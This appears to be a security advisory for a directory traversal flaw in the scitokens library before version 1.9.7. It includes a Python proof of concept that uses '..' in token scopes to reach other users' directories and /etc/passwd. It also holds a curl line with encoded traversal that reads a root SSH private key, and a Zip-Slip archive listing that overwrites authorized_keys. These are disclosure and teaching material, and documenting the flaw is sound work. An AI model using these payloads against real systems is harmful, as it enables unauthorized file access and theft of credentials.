Directory Traversal Affecting scitokens package, versions [,1.9.7)

scitokens is a SciToken reference implementation library

Affected versions of this package are vulnerable to Directory Traversal via the _check_scope and _scope_path_matches functions. An attacker can gain unauthorized access to restricted directories by including dot-dot (..) sequences in the scope claim of a token, which allows escaping the intended directory restriction during path validation.

import scitokens
import os
import sys

# Ensure we can import from src
if os.path.exists("src"):
    sys.path.append("src")

def test_path_traversal_bypass():
    print("--- Proof of Concept: Path Traversal in Scope Validation ---")
    
    issuer = "https://scitokens.org"
    enforcer = scitokens.Enforcer(issuer)
    
    # Imagine an application that expects to restrict a user to their own directory: /home/user1
    # The application validates that the token has 'read' access to /home/user1
    
    # MALICIOUS TOKEN
    # An attacker provides a token with a scope that uses '..' to traverse up.
    # 'read:/home/user1/..' effectively resolves to 'read:/home'
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/home/user1/.."
    
    # VICTIM PATH
    # The attacker tries to access a sibling directory (another user's data)
    requested_path = "/home/user2"
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    # Internal normalization in Scitokens 1.9.6:
    # urltools.normalize_path("/home/user1/..") -> "/home"
    # urltools.normalize_path("/home/user2") -> "/home/user2"
    # Since "/home/user2".startswith("/home") is True, access is granted.
    
    print("\nTesting authorization...")
    is_authorized = enforcer.test(token, "read", requested_path)
    
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("\n[VULNERABILITY CONFIRMED]")
        print(f"The Enforcer ALLOWED access to {requested_path}")
        print(f"even though the scope was nominally restricted to /home/user1/..")
        print("This bypasses the intended directory isolation.")
    else:
        print("\n[VULNERABILITY NOT REPRODUCED]")
        print("The Enforcer blocked the access attempt.")

    # Another example: Root traversal
    print("\n--- Example 2: Root Traversal ---")
    token['scope'] = "read:/anything/.." # Resolves to /
    requested_path = "/etc/passwd" # Or any sensitive path
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    is_authorized = enforcer.test(token, "read", requested_path)
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("[VULNERABILITY CONFIRMED] Root traversal allowed access to ALL paths!")

if __name__ == "__main__":
    test_path_traversal_bypass()

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

• GitHub Commit
• GitHub PR
• GitHub Release